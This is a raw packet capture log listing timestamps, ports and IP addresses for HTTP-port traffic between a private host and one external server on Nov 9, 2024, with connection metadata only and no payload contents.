Nov 9, 2024 22:22:38.391645908 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.391714096 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.391756058 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.391848087 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.391855955 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.391890049 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.391899109 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.391942024 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.391951084 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.391954899 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.391957998 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392024994 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392033100 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392040014 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392047882 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392139912 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392189026 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392198086 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392235994 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392244101 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392288923 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392297983 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392306089 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392333031 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392349005 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392365932 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392380953 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392461061 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392474890 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392489910 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392522097 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392594099 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392602921 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392647028 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392662048 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392684937 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392693996 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392703056 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392724991 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392739058 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392749071 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392771006 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392779112 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.392782927 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.556775093 CET	80	49762	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.620197058 CET	80	49762	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.620271921 CET	49762	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:38.867336988 CET	49762	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:38.869497061 CET	49763	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:38.872626066 CET	80	49762	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.872678995 CET	49762	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:38.874294996 CET	80	49763	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:38.874355078 CET	49763	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:38.874471903 CET	49763	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:38.879230022 CET	80	49763	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:39.225930929 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:39.227699041 CET	49763	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:39.232616901 CET	80	49763	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:39.232628107 CET	80	49763	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:39.232635975 CET	80	49763	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:39.280787945 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:39.814095974 CET	80	49763	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:39.825639963 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:39.831051111 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:39.863388062 CET	80	49763	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:39.863816977 CET	49763	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.076968908 CET	49763	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.081132889 CET	49764	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.083209038 CET	80	49763	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.083257914 CET	49763	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.086806059 CET	80	49764	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.086883068 CET	49764	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.087050915 CET	49764	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.092573881 CET	80	49764	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.112799883 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.112970114 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.117924929 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.117934942 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.446331024 CET	49764	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.449189901 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.449784040 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.451275110 CET	80	49764	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.451284885 CET	80	49764	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.451293945 CET	80	49764	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.454713106 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.736170053 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.736524105 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.736596107 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.736665964 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.736726046 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.736754894 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.741760015 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.741770029 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.741776943 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.741801023 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.741816998 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.741825104 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.741835117 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.741837978 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.741883039 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.741894960 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.741918087 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.741926908 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.741969109 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.742250919 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.742291927 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.747967005 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.747977972 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.747996092 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748042107 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:40.748142958 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748151064 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748158932 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748167992 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748672962 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748687029 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748694897 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748754025 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748761892 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748764992 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748936892 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748944998 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748951912 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748960018 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748970032 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748977900 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748981953 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.748990059 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.750370026 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.750379086 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753364086 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753384113 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753397942 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753415108 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753426075 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753454924 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753520012 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753528118 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753601074 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753609896 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753633022 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753640890 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.753694057 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755209923 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755218029 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755230904 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755239010 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755249977 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755259037 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755552053 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755559921 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755568027 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755579948 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755589008 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755598068 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755609035 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755630016 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755650997 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755659103 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755666018 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755669117 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755677938 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755687952 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755696058 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755703926 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755712986 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.755722046 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.756556034 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.756566048 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.756572962 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.756582022 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.756592035 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.756601095 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.756608963 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758076906 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758085966 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758115053 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758125067 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758198023 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758207083 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758215904 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758239031 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758254051 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758263111 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758272886 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758285046 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758363962 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758373022 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758390903 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758400917 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758409977 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758419037 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758429050 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758452892 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758469105 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758479118 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758488894 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758497953 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.758507967 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.759860992 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.759871006 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.759893894 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.759903908 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.759913921 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.759924889 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760018110 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760035038 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760044098 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760054111 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760073900 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760083914 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760128975 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760145903 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760154963 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760171890 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760175943 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760179996 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760191917 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760195971 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760224104 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760232925 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760241032 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760262012 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760272026 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760279894 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760291100 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760351896 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760441065 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760452986 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760468006 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760477066 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760502100 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760521889 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760534048 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760546923 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760564089 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760586977 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760608912 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760618925 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760628939 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760651112 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760659933 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760689974 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760699987 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760704041 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760725021 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760732889 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760749102 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760757923 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760776997 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760792971 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760808945 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760818958 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760827065 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760843992 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760854006 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760881901 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760900974 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760910034 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760917902 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760926008 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760941982 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.760950089 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.762752056 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.762764931 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.762784958 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.762794971 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.762811899 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.762828112 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.762844086 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.762861013 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:40.762870073 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:41.005614996 CET	80	49764	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:41.055634022 CET	49764	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:41.063082933 CET	80	49764	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:41.165025949 CET	49764	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:41.416822910 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:41.555596113 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:41.779337883 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:41.784300089 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.074934006 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.075154066 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:42.080064058 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.080084085 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.080117941 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.413254023 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.537041903 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:42.537139893 CET	49764	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:42.537791967 CET	49765	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:42.542414904 CET	80	49759	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.542474031 CET	49759	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:42.542980909 CET	80	49765	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.542989969 CET	80	49764	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.543045998 CET	49765	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:42.543075085 CET	49764	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:42.543164015 CET	49765	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:42.547971010 CET	80	49765	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.899452925 CET	49765	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:42.904488087 CET	80	49765	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.904500961 CET	80	49765	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:42.904508114 CET	80	49765	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:43.453989029 CET	80	49765	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:43.506534100 CET	80	49765	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:43.506592989 CET	49765	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:43.630749941 CET	49766	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:43.635588884 CET	80	49766	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:43.635678053 CET	49766	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:43.635798931 CET	49766	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:43.640994072 CET	80	49766	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:44.022793055 CET	49766	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:44.027802944 CET	80	49766	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:44.027817011 CET	80	49766	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:44.027826071 CET	80	49766	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:44.549907923 CET	80	49766	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:44.600672960 CET	80	49766	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:44.600728989 CET	49766	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:44.727196932 CET	49766	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:44.727319956 CET	49767	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:44.732506990 CET	80	49766	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:44.732579947 CET	49766	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:44.732670069 CET	80	49767	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:44.732733011 CET	49767	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:44.732882023 CET	49767	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:44.738063097 CET	80	49767	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:44.972888947 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:44.977814913 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:44.977870941 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:44.977986097 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:44.983433962 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.088512897 CET	49767	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:45.093584061 CET	80	49767	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.093616009 CET	80	49767	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.093625069 CET	80	49767	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.337734938 CET	49768	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:45.342859983 CET	80	49768	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.462598085 CET	49769	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:45.467474937 CET	80	49769	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:45.467540979 CET	49769	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:45.467665911 CET	49769	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:45.473078012 CET	80	49769	185.50.25.59	192.168.2.4
